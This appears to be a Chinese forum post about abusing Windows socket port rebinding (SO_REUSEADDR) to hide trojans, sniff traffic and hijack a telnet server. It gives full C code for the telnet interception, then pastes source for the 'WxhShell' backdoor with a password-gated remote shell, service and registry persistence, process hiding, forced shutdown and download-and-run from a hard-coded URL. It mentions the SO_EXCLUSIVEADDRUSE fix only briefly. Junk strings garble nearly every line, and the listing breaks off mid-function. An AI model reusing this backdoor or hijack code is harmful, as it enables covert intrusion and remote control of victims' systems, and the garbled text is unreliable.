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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "ZU CYYre  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R#0Z  
b9gezXAcd  
  saddr.sin_family = AF_INET; g(D r/D  
^~Dmb2h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5$w`m3>i(  
leSR2os  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {D9m>B3"{  
~KF>Jow?Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 BQTibd  
w;Jby  
  这意味着什么?意味着可以进行如下的攻击: ;)nV  
~xSAR;8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ollk {N  
sq~9 l|F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A:-r 2;xB  
quEP"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G^Q8B^Lg  
d}`Z| ex  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8Q2qroT  
':jsCeSB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @CJ`T&  
 edv&!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V`/D!8>  
E,nxv+AQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 50l! f7  
,-GkP>8f(  
  #include Ja@zeD)f"  
  #include wQV[ZfU^h  
  #include _R 6+bB$  
  #include    ySEhi_)9^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Xi~%,~  
  int main() 2l#c?]TA  
  { vL,:Yn@b  
  WORD wVersionRequested; &+v!mw>  
  DWORD ret; Xbp~cn  
  WSADATA wsaData; v3`k?jAaI  
  BOOL val; ZFNn(n  
  SOCKADDR_IN saddr; `$5 QTte  
  SOCKADDR_IN scaddr; Arzyq_ Yk  
  int err; v==b. 2=  
  SOCKET s; jLZ^EM-  
  SOCKET sc; L~u@n24  
  int caddsize; L~PBD?l  
  HANDLE mt; j~Cch%%G  
  DWORD tid;   <HC5YA)4  
  wVersionRequested = MAKEWORD( 2, 2 ); w#!^wN  
  err = WSAStartup( wVersionRequested, &wsaData ); zc n/LF  
  if ( err != 0 ) { 1"4Pan  
  printf("error!WSAStartup failed!\n"); -J<{NF  
  return -1; ev}ugRxt|k  
  } &eqeQD6  
  saddr.sin_family = AF_INET; *49lM;  
   [$<\*d/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ..5rW0lr  
(&)PlIi7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e2 X\ll  
  saddr.sin_port = htons(23); CC8)yO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g]V_)}  
  { m@Vz42g~+  
  printf("error!socket failed!\n"); @*VfG CQ(  
  return -1; Z@G[\"  
  } TJY  [s-  
  val = TRUE; @g{FNXY$m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3iI 4yg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q2L>P<87T  
  { y| 7sh  
  printf("error!setsockopt failed!\n"); qZS]eQW.  
  return -1; @3Lh/&  
  } Duu)8ru  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &P@dx=6d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q,f~7IVX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b-+~D9U <  
0S%xm'|N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l 7XeZ} S  
  { nN]GO}  
  ret=GetLastError(); 1j!LK-  
  printf("error!bind failed!\n"); y_7lSo8<  
  return -1; QQPT=_P]  
  } Mkj`  
  listen(s,2); |K(2_Wp  
  while(1) |g@n'^]  
  { 5C|Y-G  
  caddsize = sizeof(scaddr); T.}wcQf&*  
  //接受连接请求 e@ mjh,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h| T_ k  
  if(sc!=INVALID_SOCKET) %tOGs80_{  
  { C;UqLMrOI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WP5QA8`3  
  if(mt==NULL) YcaomPo  
  { e` QniTkT  
  printf("Thread Creat Failed!\n"); j+9;Cp]NV  
  break; `Nnaw+<]  
  } =1vl-*uYh  
  } WEnI[JGe  
  CloseHandle(mt); {PTB]D'  
  } FoNkISzW  
  closesocket(s); ~v$1@DQ}  
  WSACleanup(); >]!8f?,  
  return 0; 2 lc  
  }   w1&\heSQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) ZR," w  
  { q9h 3/uTv  
  SOCKET ss = (SOCKET)lpParam; (qbL=R"  
  SOCKET sc; !<8-juY  
  unsigned char buf[4096]; j TyR+#Wn  
  SOCKADDR_IN saddr; ?^Q8#Y^M  
  long num; 2d#3LnO  
  DWORD val; Q:5^K  
  DWORD ret; XY h)59oM%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x* 9 Xu"?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J\@W+/#dF  
  saddr.sin_family = AF_INET; !2o1c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [qL{w&R  
  saddr.sin_port = htons(23); ~O c:b>~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b4R;#rm  
  { 'xP&u<(F  
  printf("error!socket failed!\n"); $1E'0M`  
  return -1; <3)k M&.B  
  } sP'U9l  
  val = 100; Sk6B>O<:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fFNs cY<4w  
  { X3dXRDB'  
  ret = GetLastError(); 9zL(PkC%\  
  return -1; E xls_oSp  
  } }mYxI^n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3T= ?!|e  
  { ;(3!#4`q(]  
  ret = GetLastError(); )z^NJ'v4(  
  return -1; lZr}F.7  
  } Ym8 V)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $A;%p6PO)  
  { m4r<=o  
  printf("error!socket connect failed!\n"); cSD$I^$oq  
  closesocket(sc); euyd(y$'k  
  closesocket(ss); * @=ZzL  
  return -1; x##0s5Qn  
  } Uk'bOp  
  while(1) 1s_N!a  
  { P U2^4h/[`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0#S#v2r5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _m.w5nJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x>bGxDtu*  
  num = recv(ss,buf,4096,0); ;TC"n!ew  
  if(num>0) PNs*+/-S  
  send(sc,buf,num,0); Xmm) z  
  else if(num==0) 4~K%,K+Du  
  break; LG+2?+tE"  
  num = recv(sc,buf,4096,0); YW2h#PV6_  
  if(num>0) FPE%h =sw  
  send(ss,buf,num,0); Q3I^(Ll"L  
  else if(num==0) 2;w`W58  
  break; `x]`<kS;  
  } *6bO2LO"  
  closesocket(ss); -hY@r 7y  
  closesocket(sc); } 3}H}  
  return 0 ; aJ"m`5]=%  
  } *N&~Uq^  
% aqP{mOO  
&"?S0S>r!  
========================================================== oMNSQMlI  
T'> MXFLh  
下边附上一个代码,,WXhSHELL 9vauCIfVC  
^m/7T wD  
========================================================== !+u K@z&G  
agkGUK/  
#include "stdafx.h" WS ^,@>A  
f.Y [2b  
#include <stdio.h> TjE'X2/  
#include <string.h> ,rS?^"h9  
#include <windows.h> *>h|<|T'  
#include <winsock2.h> P?ms^   
#include <winsvc.h> 4Ql9VM%y  
#include <urlmon.h> b+CJRB1  
ni85Ne$  
#pragma comment (lib, "Ws2_32.lib") IG Ax+3V  
#pragma comment (lib, "urlmon.lib") }a%1$>sj  
GO)5R,  
#define MAX_USER   100 // 最大客户端连接数 $Jo4n>/  
#define BUF_SOCK   200 // sock buffer ph$ vP;}  
#define KEY_BUFF   255 // 输入 buffer ox*>HkV  
Fs3 :NH  
#define REBOOT     0   // 重启 w>o/)TTJL  
#define SHUTDOWN   1   // 关机 G*f\ /  
+Qf<*  
#define DEF_PORT   5000 // 监听端口 w{*PZb4  
\(MI DCZ@-  
#define REG_LEN     16   // 注册表键长度 ^ -4~pDv^  
#define SVC_LEN     80   // NT服务名长度 Q2!5  
A5T&i]  
// 从dll定义API '3 b'moy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5eiKMKW[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M@z_tR'3\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .JOZ2QWm<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oOHY+'V  
7`f%?xVn0  
// wxhshell配置信息 GC~nr-O  
struct WSCFG { _=cU2  
  int ws_port;         // 监听端口 jV[;e15+  
  char ws_passstr[REG_LEN]; // 口令 8iTB  
  int ws_autoins;       // 安装标记, 1=yes 0=no xnf J ruT  
  char ws_regname[REG_LEN]; // 注册表键名 uBl&{$<  
  char ws_svcname[REG_LEN]; // 服务名 9a]{|M9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \zc R7 5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 as(/ >p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?rjB9AC_;t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JW!.+ Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \(RD5@=!4#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S1[, al  
= N;5T  
}; R nwFxFIQ  
&f}w&k2yj  
// default Wxhshell configuration F{4v[WP)  
struct WSCFG wscfg={DEF_PORT, $A`m8?bY  
    "xuhuanlingzhe", dVUe!S`  
    1, B Dp")[l  
    "Wxhshell", H,c`=Ii3  
    "Wxhshell", W*Si"s2  
            "WxhShell Service", jfiUf1Mj  
    "Wrsky Windows CmdShell Service", B 6z 'Q  
    "Please Input Your Password: ", /Kh,  
  1, 0'HQ=pP  
  "http://www.wrsky.com/wxhshell.exe", kno[!A7_6  
  "Wxhshell.exe" }i{qRx"4  
    }; $ x:N/mMu`  
`8S3Y  
// 消息定义模块 YS#*#!ZMn?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )Gm9x]SVl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BA2J dU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +4  h!;i  
char *msg_ws_ext="\n\rExit."; i)'tt9f$  
char *msg_ws_end="\n\rQuit."; p="0Y<2l  
char *msg_ws_boot="\n\rReboot..."; J?dLI_{ <  
char *msg_ws_poff="\n\rShutdown..."; ! Sw=ns7  
char *msg_ws_down="\n\rSave to "; OIJT~Z}  
v$D U q+  
char *msg_ws_err="\n\rErr!"; x5CMP%}d  
char *msg_ws_ok="\n\rOK!"; ?% [~J  
r ^\(M {  
char ExeFile[MAX_PATH]; "X^<g{]  
int nUser = 0; fZj,Q#}D  
HANDLE handles[MAX_USER]; S43JaSw)  
int OsIsNt; *:Rs\QH   
[}M!ez  
SERVICE_STATUS       serviceStatus; q-+:1E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rpv[rvK'  
0-[naGz  
// 函数声明 Lg~C:BN F  
int Install(void); C[}UQod0  
int Uninstall(void); j!w{  
int DownloadFile(char *sURL, SOCKET wsh); Gx8!AmeX  
int Boot(int flag); S2e3d  
void HideProc(void); _3:%b6&Pz  
int GetOsVer(void); ]'"Sa<->  
int Wxhshell(SOCKET wsl); 641P)  
void TalkWithClient(void *cs); bU}v@Uk  
int CmdShell(SOCKET sock); x\U[5d   
int StartFromService(void); x1?mE)n]  
int StartWxhshell(LPSTR lpCmdLine); _U}vKm  
K2yu}F^}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e MHz/;I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p_g`f9q6D  
b _<n]P*)  
// 数据结构和表定义 ?].MnwYo  
SERVICE_TABLE_ENTRY DispatchTable[] = uDP:kM  
{ :SS \2  
{wscfg.ws_svcname, NTServiceMain}, OxYAM,F  
{NULL, NULL} M2-`p  
}; SAdE9L =d  
N<8\.z5:<  
// 自我安装 ,f2oO?L}  
int Install(void) D*Zj oU  
{ Ku%tM7ad  
  char svExeFile[MAX_PATH]; Ny^f'tsA  
  HKEY key; }%8ZN :  
  strcpy(svExeFile,ExeFile); 0cE9O9kE  
 0U@#&pUc  
// 如果是win9x系统,修改注册表设为自启动 mf3,V|>[\  
if(!OsIsNt) { &hO-6(^I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;aV3j/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L FkDb}  
  RegCloseKey(key); vMB61 |O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y$\tqQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8W{M}>;[9  
  RegCloseKey(key); HWsV_VAw}  
  return 0; 0\{dt4nW&O  
    } fj;ZGbg-O  
  } )\#*~73  
} 0-S.G38{  
else { BLy V~   
NX,m6u  
// 如果是NT以上系统,安装为系统服务 v>#Njgo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yAryw{(  
if (schSCManager!=0) 953qz]Q8  
{ vI I{i  
  SC_HANDLE schService = CreateService dI ,A;.  
  ( @k&6\1/U  
  schSCManager, \^*:1=|7u]  
  wscfg.ws_svcname, $j.;$~F  
  wscfg.ws_svcdisp, _i}b]xfM  
  SERVICE_ALL_ACCESS, tkT,M,]?9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B`Z3e%g#  
  SERVICE_AUTO_START, < j:\;mi;  
  SERVICE_ERROR_NORMAL, 12z!{k7N  
  svExeFile, oj - `G  
  NULL, [j-?)  
  NULL, lG\uJxV  
  NULL, \ saV8U7B  
  NULL, pOXI*0_g.  
  NULL TvDSs])  
  ); x[)-h/&Fh  
  if (schService!=0) RJ'[m~yl5X  
  { } +}nrJv  
  CloseServiceHandle(schService); hm1s~@oEm  
  CloseServiceHandle(schSCManager); Jg;[k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a]u.Uqyx2w  
  strcat(svExeFile,wscfg.ws_svcname); q4[}b-fF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UeO/<ml3>J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VKDOM0{V  
  RegCloseKey(key); P}}G9^  
  return 0; d\JaYizp  
    } \{ @m  
  } k_,7#:+  
  CloseServiceHandle(schSCManager); Eo6N'h>h  
} =G:Krc8w@  
} `/PBZnj  
;[}OZt  
return 1; f%,S::%Ea  
} \Nt 5TG_  
K9#kdo1 2  
// 自我卸载 Nn[*ox#i  
int Uninstall(void) |O_ JUl  
{ ]ub"OsXC  
  HKEY key; C8|V?bL  
X\h.@+f=  
if(!OsIsNt) { YCD |lL#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %]_: \!  
  RegDeleteValue(key,wscfg.ws_regname); 7H Dc]&z  
  RegCloseKey(key); HLW_Y|QaFo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'z. GAR  
  RegDeleteValue(key,wscfg.ws_regname); ^~H{I_Y  
  RegCloseKey(key); @KTuG ?.  
  return 0; <R]m(  
  } {s mk<NL  
} u2oS Ci  
} zWC| Qe  
else { L;RE5YrH%6  
lgaSIXDK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EfEgY|V0  
if (schSCManager!=0) e P@#I^_  
{ [=>=5'-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _ p\L,No  
  if (schService!=0) [[ ie  
  { GQtNk<?$I  
  if(DeleteService(schService)!=0) { i!%bz  
  CloseServiceHandle(schService); uvbVb"\"Yk  
  CloseServiceHandle(schSCManager); P\j\p =  
  return 0; =y][j+WH  
  } }=/zG!+  
  CloseServiceHandle(schService); @:}c(j  
  } y|6n:<o  
  CloseServiceHandle(schSCManager); .G[/4h :.  
} G ?$ @6  
} lnyb4d/  
eM<N?9s  
return 1; kkq1:\pZ]a  
} ab2FK  
]bY|>q  
// 从指定url下载文件 e'K~WNT  
int DownloadFile(char *sURL, SOCKET wsh) efXnF*Z  
{ j;3I`:  
  HRESULT hr; )q=F_:$  
char seps[]= "/"; Z\nDR|3  
char *token; A9.TRKb=8  
char *file; ^O_Z5NbC3  
char myURL[MAX_PATH]; spV7\Gs.@  
char myFILE[MAX_PATH]; msmW2Zc  
3=.YQE0!dx  
strcpy(myURL,sURL); ;bE/(nz M  
  token=strtok(myURL,seps); 7l53&,s   
  while(token!=NULL) L!cOg8Z  
  { +Uq|Yh'Q  
    file=token; qq5X3K2&  
  token=strtok(NULL,seps); #d@wjQ0DW  
  } 2<@2_wSJ  
f;{Q ~  
GetCurrentDirectory(MAX_PATH,myFILE); KW .4 9  
strcat(myFILE, "\\"); cqG6di7#  
strcat(myFILE, file); <+k&8^:bi  
  send(wsh,myFILE,strlen(myFILE),0); EV?}oh"x  
send(wsh,"...",3,0); H>C bMz1u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =Wcvb?;*  
  if(hr==S_OK) }p~2lOI  
return 0; oPKLr31zt  
else ^p3 GT6  
return 1; "W7|Xp  
4C*ywP  
} e$~[\ w  
~&<#H+O  
// 系统电源模块 aFTWzz  
int Boot(int flag) )pHtsd.eP  
{ <w9~T TS  
  HANDLE hToken; 17s~mqy  
  TOKEN_PRIVILEGES tkp; '`2KLO>!  
j .q}OK  
  if(OsIsNt) { 3uuIISK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m{Q #f\<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;xwcK-A  
    tkp.PrivilegeCount = 1; bT ,_=7F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?\o~P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xq135/d  
if(flag==REBOOT) { cwmS4^zt8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ME)Tx3d  
  return 0; qfDG.Zee#  
} Af _4Z]F  
else { 4mvR]: G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E.K^v/dNdq  
  return 0; joe)b  
} d/; tq  
  } h1_Z&VJ  
  else { }-oba_  
if(flag==REBOOT) { \|,| )  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yx]9rD1cz  
  return 0; P{o)Ir8Tt  
} ^QS`H@+Z  
else { l)NkTZ<]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +M-tYE 5n  
  return 0; `\UY5n72  
} &e^;;<*w  
} zZ%[SW&vC  
tj13!Cc}e`  
return 1; ,:t,$A  
} vJ&_-CX   
4}H+hk8-  
// win9x进程隐藏模块 8US#SI'x  
void HideProc(void) GLf!i1Z  
{ r9ulTv}X  
Dj\nsc@e3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _WEJ,0* #'  
  if ( hKernel != NULL ) =.3#l@E!C  
  { 'n'>+W:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^-"Iw y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "9caoPI0~  
    FreeLibrary(hKernel); AT&K>NG  
  } eAlOMSL\  
\;&;K'   
return; &E&~9"^hQL  
} Pe@# 6N`  
Y9^l|,bm5  
// 获取操作系统版本 kE:[6reG  
int GetOsVer(void) a}y b~:TC  
{ 16L YVvmW  
  OSVERSIONINFO winfo; O(-p md,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l e/j!  
  GetVersionEx(&winfo); ve d]X!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q a (Sb  
  return 1; +?*;#=q  
  else 'ZF6Z9  
  return 0; LzU'6ah';5  
} E f\|3D_  
^2k jO/  
// 客户端句柄模块 Rt#QW*h\|i  
int Wxhshell(SOCKET wsl) YmC}q20;  
{ CP7Fe{P  
  SOCKET wsh; 8B G Z  
  struct sockaddr_in client; <U3X4)r  
  DWORD myID; @vl$[Z|  
!8G)` '  
  while(nUser<MAX_USER) &Gt{9#  
{ 5&n:i,  
  int nSize=sizeof(client); uRb48Qy2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]yPK}u  
  if(wsh==INVALID_SOCKET) return 1; :BPgDLL,  
kPX+n+$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a&%aads  
if(handles[nUser]==0) ~0p8joOH  
  closesocket(wsh); `]5qIKopL  
else $)#orZtzr  
  nUser++; Al^tM0T^  
  } A$@;Q5/2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JK! (\Ae.  
u !BU^@P  
  return 0; rCw 4a?YS  
} 6BV 6<PHJ  
g4Z Uh@b~  
// 关闭 socket #|sE]\bsH  
void CloseIt(SOCKET wsh) Lp&nO  
{ k?fz @H8D(  
closesocket(wsh); j#//U2VdN  
nUser--; A]bQUWt2  
ExitThread(0); zQ=b|p]|W  
} z/J?!ee  
;U'\"N9  
// 客户端请求句柄 4!/QB6  
void TalkWithClient(void *cs) ?,$:~O* w  
{ d~<$J9%  
;KQU% k$  
  SOCKET wsh=(SOCKET)cs; rnK]3Ust  
  char pwd[SVC_LEN]; Wr[LC&  
  char cmd[KEY_BUFF]; xQ"uC!Gu4  
char chr[1]; q1VKoKb6\:  
int i,j; A;d@NOI#,K  
|qX ?F`  
  while (nUser < MAX_USER) { a[K&;)  
L/u|90) L  
if(wscfg.ws_passstr) { +ay C 0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LaJvPOQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J&aN6l?  
  //ZeroMemory(pwd,KEY_BUFF); $]|3^(y``  
      i=0; gCg hWg{S  
  while(i<SVC_LEN) { ]H/,Q6Q  
g kmof^  
  // 设置超时 U;bx^2<m  
  fd_set FdRead; 5ngs1ZF@  
  struct timeval TimeOut; .eN"s'  
  FD_ZERO(&FdRead); #m U\8M,  
  FD_SET(wsh,&FdRead); b:S$oE  
  TimeOut.tv_sec=8; 9?\cm}^?  
  TimeOut.tv_usec=0; ^ |MS2'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *)Pm   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WXxnOLJr  
2Z{?3mAb;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,WE2.MWR  
  pwd=chr[0]; j55_wx@cA  
  if(chr[0]==0xd || chr[0]==0xa) { $s _k/dM~&  
  pwd=0; M]o]D;N~l  
  break; vl/!w2  
  } }[eUAGhDU  
  i++; 3V]dl)en%  
    } }Cu:BD.zQ  
OmB M)g  
  // 如果是非法用户,关闭 socket q_[y|ETJ]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]+e zg(C}  
} (3N/DY1/  
|.9PwD8~VD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N_g=,E=U%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h!wq&Vi4  
zYaFbNi  
while(1) { Q b^{`  
 GAfc9  
  ZeroMemory(cmd,KEY_BUFF); P.Tnq  
e;vI XJE  
      // 自动支持客户端 telnet标准   ]pm/5|  
  j=0; yq.@-]ytZ  
  while(j<KEY_BUFF) { K["rr/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S5JM t;O  
  cmd[j]=chr[0]; )L&y@dy)  
  if(chr[0]==0xa || chr[0]==0xd) { :0@0muo  
  cmd[j]=0; _EMX x4J  
  break; ?Q_ @@)  
  } q#j[0,^ $  
  j++; ?sHZeWZ(  
    } g}`g>&l5  
"vk]y  
  // 下载文件 %scw]oF  
  if(strstr(cmd,"http://")) { B6F!"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 551_;,t  
  if(DownloadFile(cmd,wsh)) 2}<tzDI'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N%Bl+7,q  
  else B\ 'rxbH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7z$53z  
  } EC\@$Fg  
  else { $x }R2  
{ 5r]G  
    switch(cmd[0]) { /'8%=$2Kw  
  /[ m7~B]QE  
  // 帮助 qD%88c)g  
  case '?': { n_{&dVE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uyEk1)HC  
    break; QV."ZhL5=  
  } KF&8l/f  
  // 安装 \r aP  
  case 'i': { ,%Z&*/*Oh  
    if(Install()) "L5w]6C4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'R1C-U3w,  
    else kt Z~r. +  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {#+K+!SvDX  
    break; G9x l-ag+z  
    } iAe"oXK|  
  // 卸载 #TUm&2 +V  
  case 'r': { @|\;#$?XW3  
    if(Uninstall()) O4`.ohAZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yjo$vQi  
    else <nJGJ5JJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QH><! sa  
    break; VP< zOk7  
    } 6MOwn*%5k  
  // 显示 wxhshell 所在路径 2L^/\!V#  
  case 'p': { >W+,(kAS  
    char svExeFile[MAX_PATH]; e}O&_ j-  
    strcpy(svExeFile,"\n\r"); )T '?"guh`  
      strcat(svExeFile,ExeFile); -0a3eg)Z*  
        send(wsh,svExeFile,strlen(svExeFile),0); ;nh_L(  
    break; MZV bOcSAd  
    } bBINjs8C_  
  // 重启 ~~Cd9Hzi  
  case 'b': { +Q"s!\5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &K!0yR  
    if(Boot(REBOOT)) _&(Wz0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8r}tf3xMCM  
    else { %^W(sB$b  
    closesocket(wsh); \aSc2Ml]3n  
    ExitThread(0); 6!)hl"  
    } $ ^)g,  
    break; 0R unex[  
    } 8Ud.t =2  
  // 关机 3q'nO-KJ  
  case 'd': { ral=`/p  
